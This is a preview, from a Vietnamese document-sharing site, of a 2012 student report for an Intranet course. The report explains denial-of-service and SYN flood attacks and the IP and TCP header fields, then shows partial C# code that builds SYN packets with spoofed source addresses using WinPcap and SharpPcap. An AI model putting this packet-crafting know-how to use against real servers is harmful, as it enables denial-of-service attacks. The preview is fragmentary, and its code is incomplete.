1. Trang chủ
  2. » Luận Văn - Báo Cáo

Báo cáo môn INTRANET đề tài DDOS attack using SYN flood tool

21 945 3

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 21
Dung lượng 337,73 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Báo cáo môn INTRANET đề tài DDOS attack using SYN flood tool

Trang 1

BÁO CÁO MÔN INTRANET

Giảng viên hướng dẫn: ThS.Phạm Huy Hoàng

Sinh viên thực hiện :

Lớp: TTM – K53

Hà Nội, tháng 04 năm 2012

Trang 2

Mục lục

I/ Mở đầu: 3

1 Tấn công từ chối dịch vụ 3

2 Tấn công SYN flood là gì : 4

3 Cấu trúc IP Header và TCP Header 6

3.1 Cấu trúc gói tin IP 6

3.2 Cấu trúc gói tin TCP 9

4 Yêu cầu thực hiện đối với việc viết tool tấn công DDOS dạng Syn flood: 12

II/ Thực hiện : 12

1 Chuẩn bị 12

2 Những khó khăn trong quá trình thực hiện và hướng giải quyết : 12

III/ Giới thiệu chương trình 13

IV/ Kết quả: 19

V/ Tài liệu tham khảo 21

Trang 3

I/ Mở đầu:

1 Tấn công từ chối dịch vụ

Tấn công từ chối dịch vụ DoS (Denial of Service) là tên gọi chung của kiểu tấn công làm cho một hệ thống nào đó bị quá tải dẫn tới không thể cung cấp dịch vụ, hoặc phải ngưng hoạt động Đối với các hệ thống bảo mật tốt, khó thâm nhập, tấn công từ chối dịch vụ được hacker sử dụng như cú dứt điểm để triệt hạ hệ thống đó Tùy phương thức thực hiện mà DoS được biết dưới nhiều tên gọi khác nhau: cổ điển nhất là kiểu DoS (Denial of Service) tấn công bằng cách lợi dụng sự yếu kém của giao thức TCP (Transmision Control Protocol); sau đó là DDoS (Distributed Denial of Service) - tấn công

từ chối dịch vụ phân tán; mới nhất là tấn công từ chối dịch vụ theo phương pháp phản xạ DRDoS (DistributedReflection Denial of Service)

Để thực hiện "Tấn công từ chối dịch vụ phân tán DDoS", kẻ tấn công tìm cách chiếm dụng và điều khiển nhiều máy tính hoặc mạng máy tính trung gian (đóng vai trò zombie) từ nhiều nơi để đồng loạt gửi ào ạt các gói tin (packet) với số lượng rất lớn, mục đích chiếm dụng tài nguyên và làm tràn ngập đường truyền của một mục tiêu xác định nào đó Riêng "Tấn công

từ chối dịch vụ phản xạ DRDoS" chỉ mới xuất hiện gần đây nhưng lại là loại nguy hiểm nhất Nếu được thực hiện bởi các hacker chuyên nghiệp, không một hệ thống nào có thể đứng vững được trước nó Đáng nói hơn, hiện cũng

Trang 4

đã xuất hiện nhiều loại virus, worm, trojan có chức năng tự động thực hiện tấn công DoS

Ngoài ra còn có các biến thể khác như: Broadcast Storms, SYN,

Finger, Ping, Flooding với mục tiêu chiếm dụng các tài nguyên của hệ thống như: Bandwidth, Kernel Table, Swap Space, Cache, Hardisk, RAM, CPU làm hoạt động của hệ thống bị quá tải dẫn đến không đáp ứng được các yêu cầu (request) hợp lệ nữa

2 Tấn công SYN flood là gì :

TCP SYN Flood Attack:

Được xem là một trong những kiểu tấn công DoS kinh điển nhất Lợi dụng sơ hở của thủ tục TCP khi “bắt tay ba chiều”, mỗi khi client (máy khách) muốn thực hiện kết nối (connection) với server (máy chủ) thì nó thực hiện việc bắt tay ba bước (three – ways handshake) thông qua các gói tin (packet)

- Bước 1: Client (máy khách) sẽ gửi các gói tin (packet chứa SYN=1) đến máy chủ để yêu cầu kết nối

- Bước 2: Khi nhận được gói tin này, server sẽ gửi lại gói tin SYN/ACK để thông báo cho client biết là nó đã nhận được yêu cầu kết nối và chuẩn bị tài nguyên cho việc yêu cầu này Server sẽ giành một phần tài nguyên hệ thống như bộ nhớ đệm (cache) để nhận và truyền dữ liệu Ngoài ra, các thông tin khác của client như địa chỉ IP và cổng (port) cũng được ghi nhận

- Bước 3: Cuối cùng, client hoàn tất việc bắt tay ba bước bằng cách hồi âm lại gói tin chứa ACK cho server và tiến hành kết nối

Trang 5

Do TCP là thủ tục tin cậy trong việc giao nhận (end-to-end) nên trong lần bắt tay thứ hai, server gửi các gói tin SYN/ACK trả lời lại client mà không nhận lại được hồi âm của client để thực hiện kết nối thì nó vẫn bảo lưu nguồn tài nguyên chuẩn bị kết nối đó và lập lại việc gửi gói tin SYN/ACK cho client đến khi nào nhận được hồi đáp của máy client Điểm mấu chốt là ở đây là làm cho client không hồi đáp cho Server Và có hàng nhiều, nhiều client như thế trong khi server vẫn “ngây thơ” lặp lại việc gửi packet đó và giành tài nguyên để chờ “người về” trong lúc tài nguyên của hệ thống là có giới hạn! Các hacker tấn công sẽ tìm cách để đạt đến giới hạn đó

Nếu quá trình đó kéo dài, server sẽ nhanh chóng trở nên quá tải, dẫn đến tình trạng crash (treo) nên các yêu cầu hợp lệ sẽ bị từ chối không thể đáp ứng được Có thể hình dung quá trình này cũng giống như khi máy tính cá nhân (PC) hay bị “treo” khi mở cùng lúc quá nhiều chương trình cùng lúc vậy

Trang 6

Thường, để giả địa chỉ IP gói tin, các hacker có thể dùng Raw Sockets (không phải gói tin TCP hay UDP) để làm giả mạo hay ghi đè giả lên IP gốc của gói tin Khi một gói tin SYN với IP giả mạo được gửi đến server, nó cũng như bao gói tin khác, vẫn hợp lệ đối với server và server sẽ cấp vùng tài nguyên cho đường truyền này, đồng thời ghi nhận toàn bộ thông tin và gửi gói SYN/ACK ngược lại cho Client Vì địa chỉ IP của client là giả mạo nên sẽ không có client nào nhận được SYN/ACK packet này để hồi đáp cho máy chủ Sau một thời gian không nhận được gói tin ACK từ client, server nghĩ rằng gói tin bị thất lạc nên lại tiếp tục gửi tiếp SYN/ACK, cứ như thế, các kết nối (connections) tiếp tục mở

Nếu như kẻ tấn công tiếp tục gửi nhiều gói tin SYN đến server thì cuối cùng server đã không thể tiếp nhận thêm kết nối nào nữa, dù đó là các yêu cầu kết nối hợp lệ Việc không thể phục nữa cũng đồng nghĩa với việc máy chủ không tồn tại Việc này cũng đồng nghĩa với xảy ra nhiều tổn thất

do ngưng trệ hoạt động, đặc biệt là trong các giao dịch thương mại điện tử trực tuyến

Đây không phải là kiểu tấn công bằng đường truyền cao, bởi vậy chỉ cần một máy tính nối internet qua ng dial-up đơn giản cũng có thể tấn công kiểu này (tất nhiên sẽ lâu hơn chút)

3 Cấu trúc IP Header và TCP Header

3.1 Cấu trúc gói tin IP

IP Header

Header của gói tin IPv4 bao gồm 13 trường, trong đó 12 trường là bắt buộc Trường thứ 13 (được tô màu đỏ trong bảng)là tùy chọn, đúng với tên của nó:options Các trường này trong header được lưu trữ với byte có ý nghĩa cao(the most significant byte) ở địa chỉ thấp (big endian),nói cách khác bit có ý nghĩa cao luôn ở địa chỉ thấp Bit quan trọng nhất là bit số 0, vì vậy trường phiên bản (version) được lưu trong 4 bit đầu tiên của byte đầu tiên, ví dụ

Trang 7

VERS (4 bit): Version

Chỉ ra phiên bản của trình nghi thức IP đang được dùng là Ipv4 (0100)

hoặc Ipv6 (0110) Nếu trường này khác với phiên bản IP của thiết bị nhận,

thiết bị nhận sẽ từ chối và loại bỏ các gói tin này

IP Header Length (HLEN) (4 bit): – Chỉ ra chiều dài của header , mỗi đơn vị

là 1 word , mỗi word = 32 bit = 4 byte Ở đây trường Header Length có 4

bit => 2^4 = 16 word = 16 x 4byte = 64 byte è chiều dài header tối đa là 64

byte Bình thường Hearder dài 20 byte Đây là chiều dài của tất cảc các

thông tin Header Trường này cũng giúp ta xác định byte đầu tiên của Data

nằm ở đâu trong gói tin IP datagram

Type Of Services (TOS)(8 bit)

Chỉ ra cách thức xử lý data như thế nào, có độ ưu tiên hay không, độ

trễ cho phép xử lý gói dữ liệu Trường này thường được dùng cho QoS là 1

chức năng dành 1 lượng băng thông để cho để cho 1 dịch vụ nào đó hoạt

động ví dụ như dịch vụ truyền thoại , video …

Total Length

Trang 8

Chỉ ra chiều dài của toàn bộ gói tính theo byte, bao gồm dữ liệu và header,có 16 bit 16 bit à tối đa là 2^16 = 65536 bye = 64 Kb è chiều dài tối

đa của 1 IP datagram là 64 Kb

Identification - có 16 bit

Chỉ mã số của 1 IP datagram , giúp bên nhận có thể ghép các mảnh của 1IP datagram lại với nhau vì IP datagram phân thành các mảnh và các mảnh thuộc cùng 1 IP datagram sẽ có cùng Identification

Flag

Một field có 3 bit,

o Bit 0 : không dùng

o Bit 1 : cho biết gói có phân mảnh hay không

o Bit 2 : Nếu gói IP datagram bị phân mảnh thì mảnh này cho biết mảnh

này có phải là mảnh cuối không

Fragment Offset - có 13 bit

Báo bên nhận vị trí offset của các mảnh so với gói IP datagram gốc

để có thể ghép lại thành IP datagram gốc

Time To Live (TTL)

Chỉ ra số bước nhảy (hop) mà một gói có thể đi qua.Con số này sẽ giảm đi 1 , khi gói tin đi qua 1 router Khi router nào nhận gói tin thấy TTL đạt tới 0 gói này sẽ bị loại Đây là giải pháp nhằm ngăn chặn tình trạng lặp vòng vô hạn của gói tin trên mạng

Protocol( 8 bit)

Chỉ ra giao thức nào của tầng trên (tầng Transport) sẽ nhận phần data sau khi công đoạn xử lí IP diagram ở tầng Network hoàn tất hoặc chỉ ra giao thức nào của tầng trên gởi segment xuống cho tầng Network đóng gói thành

IP Diagram , mỗi giao thức có 1 mã

o 06 : TCP :

o 17 : UDP

o 01 : ICMP

o 08 : EGP

Header CheckSum – có 16 bit

Giúp bảo đảm sự toàn vẹn của IP Header,

Source Address (32 bit)

Chỉ ra địa chỉ của thiết bị truyền IP diagram

Destination Address(32 bit )

Trang 9

Chỉ ra địa chỉ IP của thiệt bị sẽ nhận IP diagram

IP Option

kích thước không cố định , chứa các thông tin tùy chọn như :

o Time stamp : thời điểm đã đi qua router

o Security : cho phép router nhận gói dữ liệu không , nếu không thì gói sẽ

bị hủy

o Record router : lưu danh sách địa chỉ IP của router mà gói phải đi qua,

o Source route : bắt buộc đi qua router nào đó Lúc này sẽ không cần dùng

bảng định tuyến ở mỗi Router nữa

Padding

Các số 0 được bổ sung vào field này để đảm bảo IP Header luôn là bội

số của 32 bit

Data

Chứa thông tin lớp trên, chiều dài thay đổi đến 64Kb Là TCP hay

UDP Segment của tầng Transport gửi xuống cho tần Network , tầng

Network sẽ thêm header vào gói tin IP datagram

3.2 Cấu trúc gói tin TCP

Trang 10

Trường có độ dài 4 bít qui định độ dài của phần header (tính theo đơn

vị từ 32 bít) Phần header có độ dài tối thiểu là 5 từ (160 bit) và tối đa là 15

từ (480 bít)

Reserved

Dành cho tương lai và có giá trị là 0

Flags (hay Control bits)

Trang 11

octet cuối được bổ sung với các bít 0 Các bít này không được truyền Khi

tính tổng, giá trị của trường kiểm tra được thay thế bằng 0,

Nói một cách khác, tất cả các từ 16 bít được cộng với nhau Kết quả thu

được sau khi đảo giá trị từng bít được điền vào trường kiểm tra Về mặt

thuật toán, quá trình này giống với IPv4

Điểm khác nhau chỉ ở chỗ dữ liệu dùng để tính tổng kiểm tra Dưới đây là

một header của IP:

Các địa chỉ nguồn và đích là các địa chỉ IPv4 Giá trị của trường protocol là

6 (giá trị dành cho TCP) Giá trị của trường TCP length field là độ dài của

toàn bộ phần header và dữ liệu của gói TCP

Urgent pointer

Nếu cờ URG bật thì giá trị trường này chính là số từ 16 bít mà số thứ

tự gói tin (sequence number) cần dịch trái

Options

Đây là trường tùy chọn Nếu có thì độ dài là bội số của 32 bít

Dữ liệu

Trường cuối cùng không thuộc về header Giá trị của trường này là

thông tin dành cho các tầng trên (trong mô hình 7 lớp OSI) Thông tin về

Trang 12

giao thức của tầng trên không được chỉ rõ trong phần header mà phụ thuộc vào cổng được chọn

4 Yêu cầu thực hiện đối với việc viết tool tấn công DDOS dạng Syn flood:

- Tạo được gói tin Syn theo đúng format

- Gửi được các gói tin SYN đến được địa chỉ yêu cầu trong môi trường Windows SP2 hoặc cao hơn

2 Những khó khăn trong quá trình thực hiện và hướng giải quyết :

- Với môi trường windows từ SP2 trở lên, việc gửi gói tin SYN thông qua raw socket đã bị cấm hoàn toàn bởi windows.à Hướng giải quyết: sử dụng thư viện winpcap với wrapper là PacketX, cho phép gửi thông tin low-level như vậy

- Khó khăn trong việc tính checksum, nhất là với TCP header vì checksum của TCP header có thêm phần pseudo header.à hướng giải quyết: tham khảo một số ví dụ trên web

- Với PacketX, khi tạo SYN packet sẽ gặp khó khăn trong việc lấy destination MAC vì packetX không hỗ trợ àcó 2 hướng giải quyết:

+ Sử dụng packetX tạo gói tin arp truy vấn để tìm ra MAC của gateway

+ Tìm và sử dụng thêm thư viện khác hỗ trợ việc gửi arp và trả

về MAC của gateway một cách tự động

Trang 13

èThực hiện theo phương án thứ hai vì phương án thứ 2 khả thi và sẽ giúp giảm bớt công việc hơn, và ở đây thư viện ngoài được chọn đó là Sharppcap, là một wrapper khác của winppcap

- Chương trình gặp lỗi khi chạy thử trên windows 7, đã tìm ra lỗi: do xung đột giữa Ipv4 và Ipv6 àhướng giải quyết: Khi lấy IP nguồn cần kiểm tra để lấy ra đúng IPv4 (hầu hết đều sử dụng Ipv4, v6 chưa phổ biến)

- Xử lý bất đồng bộ trên Win Form

III/ Giới thiệu chương trình

Ngôn ngữ sử dụng: C#

Môi trường lập trình: Microsoft Visual Studio 2010

Platform: NET framework 4.0

Biểu đồ Use case

Các modul chính của chương trình

Lấy thông tin về các card mạng của máy:

privatevoid Form1_Load(object sender, EventArgs e)

{

try

{

LibPcapLiveDeviceList devices = LibPcapLiveDeviceList Instance;

foreach ( LibPcapLiveDevice dev in devices)

{

cbInterface.Items.Add(dev.Description);

Trang 14

//TAO ETHERNET FRAME

byte[] Ethenet = newbyte[14];

//6 byte dau, 0->5 là dest mac

byte[] IPHeader = newbyte[20];

IPHeader[0] = 0x45;//Version va Header length

IPHeader[1] = 0x00;//Differentiated Services Field

//2 byte tiep theo la total length goi tin = 48

Trang 15

//4 byte tiep theo la source IP

foreach (string sIP in sourceIP)

//TINH CHECKSUM IP HEADER

UInt16 IPChksum = Cal_chksum(IPHeader);

IPHeader[10] = (byte)(IPChksum >> 8);

IPHeader[11] = (byte)(IPChksum & 0x00FF);

//TAO TCP HEADER

byte[] TCPHeader = newbyte[28];

//2byte dau la source port, random

UInt16 rdPort = ( UInt16 )(rand.Next(1024, 65535));

TCPHeader[0] = (byte)(rdPort / 0x100);

TCPHeader[1] = (byte)(rdPort - TCPHeader[0] * 0x100);

//2 byte tiep theo la dest port (mac dinh 80)

TCPHeader[2] = (byte)(destPort / 0x100);

TCPHeader[3] = (byte)(destPort - TCPHeader[2] * 0x100);

//4byte tiep theo la sequence number, random

Trang 16

TCPHeader[13] = 0x02;//flag (SYN)

//2 byte tiep theo la window size

//TAO PSEUDO HEADER

//gom 4 byte source add, 4 byte des add,8 bit 0, 1 byte protocol va 2 byte TCP length

byte[] PseudoHeader = newbyte[12];

//4 byte dau la source IP

//TINH CHECKSUM TCP HEADER

byte[] tmpTCPHeader = GhepMang(PseudoHeader, TCPHeader);

UInt16 TCPChksum = Cal_chksum(tmpTCPHeader);

TCPHeader[16] = (byte)(TCPChksum >> 8);

TCPHeader[17] = (byte)(TCPChksum & 0x00FF);

Trang 17

//TAO GOI TIN DE GUI DI

byte[] packet = GhepMang(Ethenet, IPHeader);

byte[] packetToSend = GhepMang(packet, TCPHeader);

return packetToSend;

}

Ta xây dựng hàm tính checksum cho Header:

private UInt16 Cal_chksum(byte[] bytedata)

Trang 18

string MACAdd = null;

byte[] bytes = device.MacAddress.GetAddressBytes();

for (int i = 0; i < bytes.Length; i++)

ARP arper = new ARP (device);

System.Net IPAddress ip = device.Interface.GatewayAddress;

byte[] phynull = newbyte[6] { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };

PhysicalAddress phyadd = new PhysicalAddress (phynull);

do

{

Trang 19

phyadd = arper.Resolve(ip);

}

while (phyadd == null);

byte[] bytes = phyadd.GetAddressBytes();

for (int i = 0; i < bytes.Length; i++)

Ngày đăng: 23/10/2014, 15:08

HÌNH ẢNH LIÊN QUAN

Bảng định tuyến ở mỗi Router nữa. - Báo cáo môn INTRANET đề tài DDOS attack using SYN flood tool
ng định tuyến ở mỗi Router nữa (Trang 9)

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w